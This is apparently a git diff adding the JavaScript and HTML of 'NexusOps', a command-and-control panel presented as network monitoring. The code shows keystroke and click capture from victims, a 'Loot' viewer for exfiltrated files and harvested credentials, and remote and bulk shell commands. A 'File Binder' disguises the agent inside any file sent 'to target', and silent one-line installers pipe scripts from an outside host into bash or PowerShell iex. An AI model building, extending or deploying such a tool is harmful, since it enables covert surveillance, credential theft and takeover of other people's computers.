+function updateServerEndpoint() {
+ const endpoint = publicUrl || window.location.origin;
+ const placeholders = document.querySelectorAll('.server-url-placeholder');
+ placeholders.forEach(el => el.textContent = endpoint);
+ document.getElementById('navServerEndpoint').textContent = endpoint;
+ const linkEl = document.getElementById('binaryDownloadLink');
+ if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
+}
+
+let _wsBackoff = 1000;
+let _wsAttempts = 0;
+let _wsHalted = false;
+
+function initWebSocket() {
+ if (_wsHalted) return;
+ const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
+ let wsUrl = `${protocol}//${window.location.host}`;
+ if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
+ const ws = new WebSocket(wsUrl);
+
+ ws.onopen = () => {
+ _wsBackoff = 1000;
+ _wsAttempts = 0;
+ document.getElementById('navConnectionStatus').textContent = 'Live Connected';
+ document.querySelector('.status-indicator').classList.add('online');
+ };
+
+ ws.onmessage = (event) => {
+ try {
+ const data = JSON.parse(event.data);
+ if (data.type === 'NODES_UPDATE') {
+ serverIp = data.serverIp || serverIp;
+ serverPort = data.port || serverPort;
+ publicUrl = data.publicUrl || publicUrl;
+ updateServerEndpoint();
+
+ nodesData = data.nodes || [];
+ commandHistory = data.commandHistory || [];
+ masterSystemLogs = data.masterSystemLogs || [];
+ inputData = data.inputData || [];
+ renderDashboard();
+ }
+ } catch (e) {
+ console.error("Error parsing WebSocket payload:", e);
+ }
+ };
+
+ ws.onclose = (ev) => {
+ document.querySelector('.status-indicator').classList.remove('online');
+ if (ev.code === 4401) {
+ _wsHalted = true;
+ document.getElementById('navConnectionStatus').textContent = 'Auth Required';
+ showAuthGate();
+ return;
+ }
+ _wsAttempts++;
+ document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
+ const jitter = Math.random() * 500;
+ setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
+ _wsBackoff = Math.min(_wsBackoff * 2, 30000);
+ };
+}
+
+
+function renderDashboard() {
+ renderOverviewStats();
+ renderNodesGrid();
+ renderAuditLogs();
+ renderMasterSyslogs();
+ renderIntelLog();
+ checkForNewNodes();
+ updateChartData();
+}
+
+function renderOverviewStats() {
+ const total = nodesData.length;
+ const online = nodesData.filter(n => n.status === 'online').length;
+ const offline = total - online;
+
+ let avgCpu = 0;
+ if (online > 0) {
+ const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
+ avgCpu = Math.round(sumCpu / online);
+ }
+
+ document.getElementById('statTotalNodes').textContent = total;
+ document.getElementById('statOnlineNodes').textContent = online;
+ document.getElementById('statOfflineNodes').textContent = offline;
+ document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
+}
+
+function renderNodesGrid() {
+ const container = document.getElementById('nodesGrid');
+ const search = document.getElementById('searchInput').value.toLowerCase();
+
+ if (!nodesData.length) {
+ container.innerHTML = renderEmptyHero();
+ if (window.QRCode && endpoint) { /* QR handled below */ }
+ return;
+ }
+ let filtered = nodesData.filter(node => {
+ const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
+ const matchesSearch = !search ||
+ node.hostname.toLowerCase().includes(search) ||
+ node.ip.toLowerCase().includes(search) ||
+ node.platform.toLowerCase().includes(search) ||
+ node.id.toLowerCase().includes(search);
+ return matchesFilter && matchesSearch;
+ });
+
+ if (filtered.length === 0) {
+ container.innerHTML = `
+
+
+
No Connected Agents Found
+
No computers match your filter. Download the agent installer to link machines.
+
Get Agent Install Script
+
+ `;
+ return;
+ }
+
+ container.innerHTML = filtered.map(node => {
+ const isOnline = node.status === 'online';
+ const osIcon = getOsIcon(node.platform);
+
+ return `
+
+
+
+
+
+
+ CPU Usage
+ ${node.cpuUsage}%
+
+
+
+
+
+
+ Memory
+ ${node.memUsage}%
+
+
+
+
+
+
+ Disk Space
+ ${node.diskUsage}%
+
+
+
+
+
+
+
+ `;
+ }).join('');
+}
+
+function renderAuditLogs() {
+ const container = document.getElementById('auditLogContent');
+ document.getElementById('logCount').textContent = `${commandHistory.length} events`;
+
+ if (commandHistory.length === 0) {
+ container.innerHTML = `[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.
`;
+ return;
+ }
+
+ container.innerHTML = commandHistory.map(item => {
+ let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
+ return `
+
+ [${new Date(item.createdAt).toLocaleTimeString()}]
${escapeHtml(item.hostname)} ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
+ ${item.output ? `
${escapeHtml(item.output.trim())} ` : ''}
+
+ `;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function renderMasterSyslogs() {
+ const container = document.getElementById('syslogStreamContent');
+ if (!container) return;
+
+ const countEl = document.getElementById('syslogCount');
+ const searchInput = document.getElementById('logSearchInput');
+ const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
+
+ let filtered = masterSystemLogs;
+ if (query) {
+ filtered = masterSystemLogs.filter(l =>
+ l.hostname.toLowerCase().includes(query) ||
+ l.entry.toLowerCase().includes(query)
+ );
+ }
+
+ if (countEl) countEl.textContent = `${filtered.length} entries`;
+
+ if (filtered.length === 0) {
+ container.innerHTML = `[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".
`;
+ return;
+ }
+
+ container.innerHTML = filtered.map(log => {
+ let logText = escapeHtml(log.entry);
+ let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
+ let isWarn = logText.toLowerCase().includes('warn');
+ let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
+
+ return `
+
+ [${new Date(log.timestamp).toLocaleTimeString()}] ${escapeHtml(log.hostname)} : ${logText}
+
+ `;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function initChart() {
+ const ctx = document.getElementById('telemetryChart').getContext('2d');
+ telemetryChart = new Chart(ctx, {
+ type: 'line',
+ data: {
+ labels: [],
+ datasets: [
+ {
+ label: 'Avg CPU Load (%)',
+ borderColor: '#06b6d4',
+ backgroundColor: 'rgba(6, 182, 212, 0.1)',
+ fill: true,
+ data: [],
+ tension: 0.4
+ },
+ {
+ label: 'Avg RAM Load (%)',
+ borderColor: '#8b5cf6',
+ backgroundColor: 'rgba(139, 92, 246, 0.1)',
+ fill: true,
+ data: [],
+ tension: 0.4
+ }
+ ]
+ },
+ options: {
+ responsive: true,
+ maintainAspectRatio: false,
+ scales: {
+ x: {
+ grid: { color: 'rgba(255, 255, 255, 0.05)' },
+ ticks: { color: '#9ca3af' }
+ },
+ y: {
+ min: 0,
+ max: 100,
+ grid: { color: 'rgba(255, 255, 255, 0.05)' },
+ ticks: { color: '#9ca3af' }
+ }
+ },
+ plugins: {
+ legend: { labels: { color: '#f3f4f6' } }
+ }
+ }
+ });
+}
+
+function updateChartData() {
+ if (!telemetryChart) return;
+ const timeStr = new Date().toLocaleTimeString();
+
+ const onlineNodes = nodesData.filter(n => n.status === 'online');
+ const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
+ const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
+
+ telemetryChart.data.labels.push(timeStr);
+ telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
+ telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
+
+ if (telemetryChart.data.labels.length > 15) {
+ telemetryChart.data.labels.shift();
+ telemetryChart.data.datasets[0].data.shift();
+ telemetryChart.data.datasets[1].data.shift();
+ }
+ telemetryChart.update();
+}
+
+function getOsIcon(platform) {
+ const p = (platform || '').toLowerCase();
+ if (p.includes('win')) return 'fa-brands fa-windows';
+ if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
+ return 'fa-brands fa-linux';
+}
+
+function escapeHtml(str) {
+ return (str || '').replace(/&/g, "&").replace(//g, ">");
+}
+
+function formatTime(timestamp) {
+ if (!timestamp) return 'Never';
+ const diff = Math.floor((Date.now() - timestamp) / 1000);
+ if (diff < 5) return 'Just now';
+ if (diff < 60) return `${diff}s ago`;
+ return `${Math.floor(diff / 60)}m ago`;
+}
+
+function setFilter(filter, el) {
+ currentFilter = filter;
+ document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
+ el.classList.add('active');
+ renderNodesGrid();
+}
+
+function filterNodes() {
+ renderNodesGrid();
+}
+
+function switchView(view, el) {
+ currentView = view;
+ document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
+ el.classList.add('active');
+ renderNodesGrid();
+}
+
+function openInstallerModal() {
+ updateServerEndpoint();
+ document.getElementById('installerModal').classList.add('active');
+}
+
+function closeInstallerModal() {
+ document.getElementById('installerModal').classList.remove('active');
+}
+
+function switchTab(tabName, evt) {
+ document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
+ document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
+
+ (evt || event).currentTarget.classList.add('active');
+ document.getElementById(`tab-${tabName}`).classList.add('active');
+}
+
+function switchControlTab(tabName, btnEl) {
+ document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
+ document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
+
+ btnEl.classList.add('active');
+ document.getElementById(`ctrl-${tabName}`).style.display = 'block';
+}
+
+function copyCode(elementId, btn) {
+ const text = document.getElementById(elementId).innerText;
+ navigator.clipboard.writeText(text).then(() => {
+ const original = btn.innerHTML;
+ btn.innerHTML = ` Copied!`;
+ btn.style.background = 'var(--accent-emerald)';
+ setTimeout(() => {
+ btn.innerHTML = original;
+ btn.style.background = '';
+ }, 2000);
+ });
+}
+
+function openCommandModal(nodeId, hostname) {
+ document.getElementById('cmdModalNodeId').value = nodeId;
+ document.getElementById('cmdModalHostname').textContent = hostname;
+ document.getElementById('cmdInput').value = '';
+ document.getElementById('commandModal').classList.add('active');
+}
+
+function closeCommandModal() {
+ document.getElementById('commandModal').classList.remove('active');
+}
+
+function setQuickCmd(cmd) {
+ document.getElementById('cmdInput').value = cmd;
+}
+
+function submitNodeAction(actionType, extraPayload = {}) {
+ const nodeId = document.getElementById('cmdModalNodeId').value;
+ let payload = { ...extraPayload };
+
+ if (actionType === 'raw_command') {
+ const command = document.getElementById('cmdInput').value.trim();
+ if (!command) return;
+ payload.command = command;
+ }
+
+ fetch(`/api/nodes/${nodeId}/command`, {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ actionType, payload, command: payload.command })
+ })
+ .then(res => res.json())
+ .then(data => {
+ if (data.success) {
+ closeCommandModal();
+ }
+ });
+}
+
+function submitServiceAction(action) {
+ const service = document.getElementById('serviceNameInput').value.trim();
+ if (!service) return alert("Please enter a service name (e.g. nginx)");
+ submitNodeAction('manage_service', { service, action });
+}
+
+function submitKillProcess() {
+ const pid = document.getElementById('killPidInput').value;
+ if (!pid) return alert("Please enter a valid PID");
+ submitNodeAction('kill_process', { pid });
+}
+
+function openBulkModal() {
+ document.getElementById('bulkModal').classList.add('active');
+}
+
+function closeBulkModal() {
+ document.getElementById('bulkModal').classList.remove('active');
+}
+
+function submitBulkCommand() {
+ const command = document.getElementById('bulkCmdInput').value.trim();
+ if (!command) return;
+
+ fetch('/api/nodes/bulk-command', {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
+ })
+ .then(res => res.json())
+ .then(data => {
+ if (data.success) {
+ closeBulkModal();
+ alert(`Task broadcasted to ${data.count} online network nodes!`);
+ } else {
+ alert(data.error || "Failed to dispatch bulk command");
+ }
+ });
+}
+
+function submitTagUpdate() {
+ const tags = document.getElementById('tagInput').value.trim();
+ if (!tags) return alert("Please enter at least one tag");
+ submitNodeAction('update_tags', { tags });
+}
+
+function submitHeartbeatRate() {
+ const interval = document.getElementById('heartbeatInput').value;
+ if (!interval) return alert("Please enter a valid interval in seconds");
+ submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
+}
+
+function submitSystemReboot() {
+ if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
+ submitNodeAction('reboot_system');
+ }
+}
+
+function deleteNode(nodeId) {
+ if (confirm("Are you sure you want to unregister this node?")) {
+ fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
+ }
+}
+
+// ── Master Intelligence Log Rendering ──
+
+function renderIntelLog() {
+ const container = document.getElementById('intelLogContent');
+ if (!container) return;
+
+ const nodeFilter = document.getElementById('intelNodeFilter');
+ const typeFilter = document.getElementById('intelTypeFilter');
+ const searchInput = document.getElementById('intelSearchInput');
+
+ // Populate node filter dropdown dynamically
+ if (nodeFilter) {
+ const currentVal = nodeFilter.value;
+ nodeFilter.innerHTML = 'All Machines ';
+ nodesData.forEach(n => {
+ const sel = n.id === currentVal ? ' selected' : '';
+ nodeFilter.innerHTML += `${escapeHtml(n.hostname)} (${n.ip}) `;
+ });
+ }
+
+ const selNodeId = nodeFilter ? nodeFilter.value : 'all';
+ const selType = typeFilter ? typeFilter.value : 'all';
+ const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
+
+ // Show machine details when a specific node is selected
+ renderMachineDetails(selNodeId);
+
+ // Filter input data
+ let filtered = inputData;
+ if (selNodeId !== 'all') {
+ filtered = filtered.filter(e => e.nodeId === selNodeId);
+ }
+ if (selType !== 'all') {
+ filtered = filtered.filter(e => e.eventType === selType);
+ }
+ if (query) {
+ filtered = filtered.filter(e => {
+ const dataStr = JSON.stringify(e.data || '').toLowerCase();
+ return dataStr.includes(query) ||
+ (e.windowTitle || '').toLowerCase().includes(query) ||
+ (e.hostname || '').toLowerCase().includes(query);
+ });
+ }
+
+ const countEl = document.getElementById('intelCount');
+ if (countEl) countEl.textContent = `${filtered.length} events`;
+
+ if (filtered.length === 0) {
+ container.innerHTML = '[INTEL] No captured input events. Waiting for agent keystroke/click data...
';
+ return;
+ }
+
+ container.innerHTML = filtered.map(ev => {
+ const timeStr = new Date(ev.timestamp).toLocaleTimeString();
+ const hostStr = escapeHtml(ev.hostname || 'Unknown');
+ let icon, cssClass, detailStr;
+
+ switch (ev.eventType) {
+ case 'keystroke':
+ icon = ' ';
+ cssClass = 'log-entry intel-keystroke';
+ detailStr = `Key: ${escapeHtml((ev.data && ev.data.key) || '?')} `;
+ break;
+ case 'click':
+ icon = ' ';
+ cssClass = 'log-entry intel-click';
+ detailStr = `Button: ${escapeHtml((ev.data && ev.data.button) || '?')} @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
+ break;
+ case 'scroll':
+ icon = ' ';
+ cssClass = 'log-entry intel-scroll';
+ detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
+ break;
+ default:
+ icon = ' ';
+ cssClass = 'log-entry';
+ detailStr = escapeHtml(JSON.stringify(ev.data || {}));
+ }
+
+ const winStr = ev.windowTitle ? ` [${escapeHtml(ev.windowTitle)}] ` : '';
+
+ return `
+ [${timeStr}]
+ ${icon}
+ ${hostStr}
+ ${detailStr}${winStr}
+
`;
+ }).join('');
+ container.scrollTop = container.scrollHeight;
+}
+
+function renderMachineDetails(nodeId) {
+ const bar = document.getElementById('machineDetailsBar');
+ if (!bar) return;
+
+ if (nodeId === 'all') {
+ const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
+ if (machinesWithInput.length === 0) {
+ bar.innerHTML = ' Select a specific machine to see its full details here. Input data from agents will appear below. ';
+ } else {
+ bar.innerHTML = ` ${machinesWithInput.length} machine(s) reporting input data. Select one above for details. `;
+ }
+ return;
+ }
+
+ const node = nodesData.find(n => n.id === nodeId);
+ if (!node) {
+ bar.innerHTML = 'Machine details unavailable. ';
+ return;
+ }
+
+ const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
+ const osIcon = getOsIcon(node.platform);
+
+ bar.innerHTML = `
+ ${escapeHtml(node.hostname)}
+ ${escapeHtml(node.ip)}
+ ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})
+ CPU: ${node.cpuUsage}%
+ MEM: ${node.memUsage}%
+ DISK: ${node.diskUsage}%
+ ${formatUptime(node.uptime)}
+ ${node.status.toUpperCase()}
+ `;
+}
+
+function formatUptime(seconds) {
+ if (!seconds || seconds <= 0) return 'N/A';
+ const d = Math.floor(seconds / 86400);
+ const h = Math.floor((seconds % 86400) / 3600);
+ const m = Math.floor((seconds % 3600) / 60);
+ if (d > 0) return `${d}d ${h}h`;
+ if (h > 0) return `${h}h ${m}m`;
+ return `${m}m`;
+}
+
+// ── File Binder ──
+
+let binderFile = null;
+
+function openBinderModal() {
+ updateServerEndpoint();
+ document.getElementById('binderModal').classList.add('active');
+ resetBinder();
+}
+
+function closeBinderModal() {
+ document.getElementById('binderModal').classList.remove('active');
+ resetBinder();
+}
+
+function resetBinder() {
+ binderFile = null;
+ document.getElementById('binderFileInput').value = '';
+ document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
+ document.getElementById('binderDropzone').classList.remove('has-file');
+ document.getElementById('binderSubmitBtn').disabled = true;
+ document.getElementById('binderStatus').style.display = 'none';
+}
+
+function handleBinderFile(input) {
+ if (input.files && input.files[0]) {
+ binderFile = input.files[0];
+ document.getElementById('binderFileName').innerHTML = `${escapeHtml(binderFile.name)} (${(binderFile.size / 1024).toFixed(1)} KB) `;
+ document.getElementById('binderDropzone').classList.add('has-file');
+ document.getElementById('binderSubmitBtn').disabled = false;
+ }
+}
+
+async function submitBinder() {
+ if (!binderFile) return;
+
+ const btn = document.getElementById('binderSubmitBtn');
+ const status = document.getElementById('binderStatus');
+ btn.disabled = true;
+ btn.innerHTML = ' Binding...';
+ status.style.display = 'block';
+ status.className = '';
+ status.textContent = 'Processing file...';
+
+ const formData = new FormData();
+ formData.append('file', binderFile);
+
+ try {
+ const format = document.getElementById("binderFormat").value;
+ const resp = await fetch("/api/bind?format=" + format, { method: "POST", body: formData });
+ if (!resp.ok) {
+ const err = await resp.json().catch(() => ({ error: 'Server error' }));
+ throw new Error(err.error || `HTTP ${resp.status}`);
+ }
+
+ const blob = await resp.blob();
+ const url = URL.createObjectURL(blob);
+ const a = document.createElement('a');
+ a.href = url;
+ a.download = binderFile.name + '.sh';
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ URL.revokeObjectURL(url);
+
+ status.className = 'success';
+ status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
+ } catch (e) {
+ status.className = 'error';
+ status.textContent = `❌ ${e.message}`;
+ }
+
+ btn.disabled = false;
+ btn.innerHTML = ' Bind & Download';
+}
+
+// ── Kill Switch ──
+function killSwitch() {
+ if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
+ fetch('/api/nodes/killswitch', { method: 'POST' })
+ .then(r => r.json())
+ .then(d => {
+ if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
+ else alert(d.error || 'No nodes to kill.');
+ });
+}
+
+// ── Ping Node ──
+function pingNode(nodeId, hostname) {
+ fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
+ .then(r => r.json())
+ .then(d => {
+ if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
+ });
+}
+
+// ── New Node Sound & Notification ──
+let knownNodeIds = new Set();
+function checkForNewNodes() {
+ nodesData.forEach(node => {
+ if (!knownNodeIds.has(node.id) && node.status === 'online') {
+ knownNodeIds.add(node.id);
+ // Browser notification
+ if (Notification.permission === 'granted') {
+ new Notification('🖥️ New Agent Connected', {
+ body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
+ icon: '/favicon.ico'
+ });
+ }
+ // Audio ping
+ try {
+ const ctx = new (window.AudioContext || window.webkitAudioContext)();
+ const osc = ctx.createOscillator();
+ const gain = ctx.createGain();
+ osc.connect(gain); gain.connect(ctx.destination);
+ osc.frequency.setValueAtTime(880, ctx.currentTime);
+ osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
+ gain.gain.setValueAtTime(0.3, ctx.currentTime);
+ gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
+ osc.start(ctx.currentTime);
+ osc.stop(ctx.currentTime + 0.3);
+ } catch(e) {}
+ }
+ });
+ // Also mark offline nodes
+ nodesData.forEach(node => knownNodeIds.add(node.id));
+}
+
+// Request notification permission on first interaction
+document.addEventListener('click', () => {
+ if (Notification.permission === 'default') Notification.requestPermission();
+}, { once: true });
+
+
+// ── Loot viewer ──
+let lootFiles = [];
+let lootCreds = [];
+let lootObjectUrls = {};
+let _lootSeenFiles = new Set();
+let _lootSeenCreds = new Set();
+let _lootFirstPoll = true;
+
+function switchLootTab(tab) {
+ document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
+ document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
+ document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
+ document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
+}
+
+function humanSize(b) {
+ if (!b && b !== 0) return '?';
+ if (b < 1024) return b + ' B';
+ if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
+ return (b/1048576).toFixed(1) + ' MB';
+}
+
+function relTime(ts) {
+ const s = Math.floor((Date.now() - ts) / 1000);
+ if (s < 60) return s + 's ago';
+ if (s < 3600) return Math.floor(s/60) + 'm ago';
+ if (s < 86400) return Math.floor(s/3600) + 'h ago';
+ return Math.floor(s/86400) + 'd ago';
+}
+
+async function pollLoot() {
+ try {
+ const [fr, cr] = await Promise.all([
+ fetch('/api/files').then(r => r.ok ? r.json() : []),
+ fetch('/api/credentials').then(r => r.ok ? r.json() : [])
+ ]);
+ // Toasts on new arrivals (skip first poll)
+ if (!_lootFirstPoll) {
+ fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
+ cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
+ } else {
+ fr.forEach(f => _lootSeenFiles.add(f.id));
+ cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
+ _lootFirstPoll = false;
+ }
+ lootFiles = fr;
+ lootCreds = cr;
+ renderLoot();
+ } catch(e) { /* offline tolerance */ }
+}
+
+function renderLoot() {
+ document.getElementById('lootFilesCount').textContent = lootFiles.length;
+ document.getElementById('lootCredsCount').textContent = lootCreds.length;
+
+ // Files
+ const fp = document.getElementById('lootFilesPanel');
+ if (!lootFiles.length) {
+ fp.innerHTML = '[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
';
+ } else {
+ fp.innerHTML = 'File Node Size When ' +
+ lootFiles.slice().reverse().map(f => {
+ const isImg = (f.mime || '').startsWith('image/');
+ const thumbId = 'thumb-' + f.id;
+ if (isImg && !lootObjectUrls[f.id]) {
+ fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
+ lootObjectUrls[f.id] = URL.createObjectURL(b);
+ const el = document.getElementById(thumbId);
+ if (el) el.src = lootObjectUrls[f.id];
+ }).catch(() => {});
+ }
+ return '' +
+ '' + (isImg
+ ? ' '
+ : ' ') + ' ' +
+ '' + escapeHtml(f.filename) + '' + escapeHtml(f.mime || '') + '
' +
+ '' + escapeHtml(f.hostname || f.nodeId || '?') + ' ' +
+ '' + humanSize(f.size) + ' ' +
+ '' + relTime(f.timestamp) + ' ' +
+ ' ' +
+ ' ';
+ }).join('') + '
';
+ }
+
+ // Credentials
+ const cp = document.getElementById('lootCredsPanel');
+ if (!lootCreds.length) {
+ cp.innerHTML = '[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
';
+ } else {
+ const groups = {};
+ lootCreds.forEach((c, i) => {
+ const key = (c.hostname || c.nodeId || 'unknown');
+ groups[key] = groups[key] || [];
+ groups[key].push(Object.assign({ _idx: i }, c));
+ });
+ cp.innerHTML = Object.entries(groups).map(([host, items]) =>
+ ' ' + escapeHtml(host) + ' ' + items.length + '
' +
+ items.map(c => {
+ const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
+ const cid = 'cred-' + c._idx;
+ return '
' +
+ '' + escapeHtml(c.type || 'unknown') + ' ' +
+ '••••••••••' +
+ '' + relTime(c.timestamp) + ' ' +
+ ' ' +
+ ' ' +
+ '
';
+ }).join('') + '
'
+ ).join('');
+ }
+}
+
+function toggleCredReveal(cid, btn) {
+ const el = document.getElementById(cid);
+ if (el.dataset.masked === '1') {
+ el.textContent = btn.dataset.raw;
+ el.dataset.masked = '0';
+ btn.innerHTML = ' ';
+ } else {
+ el.textContent = '••••••••••';
+ el.dataset.masked = '1';
+ btn.innerHTML = ' ';
+ }
+}
+
+function lootCopy(btn) {
+ navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
+}
+
+function openLootLightbox(id) {
+ const lb = document.getElementById('lootLightbox');
+ const img = document.getElementById('lootLightboxImg');
+ if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
+}
+function closeLootLightbox() {
+ document.getElementById('lootLightbox').style.display = 'none';
+}
+
+function lootDownload(id, filename) {
+ fetch('/api/files/' + id).then(r => r.blob()).then(b => {
+ const url = URL.createObjectURL(b);
+ const a = document.createElement('a');
+ a.href = url;
+ a.download = filename;
+ document.body.appendChild(a);
+ a.click();
+ document.body.removeChild(a);
+ setTimeout(() => URL.revokeObjectURL(url), 60000);
+ }).catch(() => toast('Download failed', 'error'));
+}
+
+// ── Empty state hero ──
+function renderEmptyHero() {
+ const endpoint = publicUrl || window.location.origin;
+ const cmd = `curl -sSL ${endpoint}/install | bash`;
+ return '' +
+ '
' +
+ '
No Nodes Deployed Yet ' +
+ '
Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.
' +
+ '
' + escapeHtml(cmd) + '' +
+ ' Copy
' +
+ '
' +
+ '
or click Deploy Agent above for platform-specific installers
' +
+ '
';
+}
+
+// ── Boot ──
+let _booted = false;
+function bootApp() {
+ if (_booted) return;
+ _booted = true;
+ initWebSocket();
+ pollLoot();
+ setInterval(pollLoot, 15000);
+}
+
+document.addEventListener('DOMContentLoaded', async () => {
+ const open = await probeAuth();
+ if (open) bootApp();
+ document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
+ document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
+});
diff --git a/backups/20260923/index.html b/backups/20260923/index.html
new file mode 100644
index 0000000..05ba944
--- /dev/null
+++ b/backups/20260923/index.html
@@ -0,0 +1,544 @@
+
+
+
+
+
+ NexusOps — Central Network Node Operations
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Total Nodes
+
0
+
+
+
+
+
+
+ Online Nodes
+
0
+
+
+
+
+
+
+ Offline / Stale
+
0
+
+
+
+
+
+
+ Avg Network CPU
+
0%
+
+
+
+
+
+
+
+
+
+
+
+
Waiting for Agents to Connect...
+
No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.
+
Get Agent Install Script
+
+
+
+
+
+
+
+
+
+
+
+
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
+
+
+
+
+
+
+
+
+
+
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
+
+
+
+
+
+
+
+
+
+ Select a machine above to view its details here...
+
+
+
+
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
+
+
+
+
+
+
+
+
+
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
+
+
+
[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.
+
+
+
+
+
+
+
+
+
+
+
+
+ Universal
+ Binary
+ Linux
+ Windows
+ macOS
+ Python
+
+
+
+
Recommended: Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.
+
+ curl -sSL https://agent.thetempleofdoom.com /install | bash
+ Copy
+
+
+
+
+
Compiled standalone binary executable (no Python installation required on target system).
+
+ curl -sSL https://agent.thetempleofdoom.com /bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com
+ Copy
+
+
+
+
+
+
Executes automated installer, configures systemd service, and starts background heartbeat daemon.
+
+ curl -sSL https://agent.thetempleofdoom.com /install.sh | sudo bash
+ Copy
+
+
+
+
+
Downloads Python agent to ProgramData and launches background monitoring process.
+
+ iwr -useb https://agent.thetempleofdoom.com /install.ps1 | iex
+ Copy
+
+
+
+
+
Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.
+
+ curl -sSL https://agent.thetempleofdoom.com /install-mac.sh | bash
+ Copy
+
+
+
+
+
Download and run directly using standard Python 3 (No external dependencies required).
+
+ curl -sSL https://agent.thetempleofdoom.com /agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com
+ Copy
+
+
+
+
+
+
+ Server Endpoint Pre-configured: All installers link to https://agent.thetempleofdoom.com .
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Terminal
+ Services
+ Processes
+ Diagnostics
+ Network
+ Exfil & Harvest
+ Agent Config
+
+
+
+
+
+ Run Shell Command
+
+
+
+ Presets:
+ Uptime
+ Disk Space
+ Memory Free
+ Docker Containers
+
+
+ Run Shell Command
+
+
+
+
+
+
+
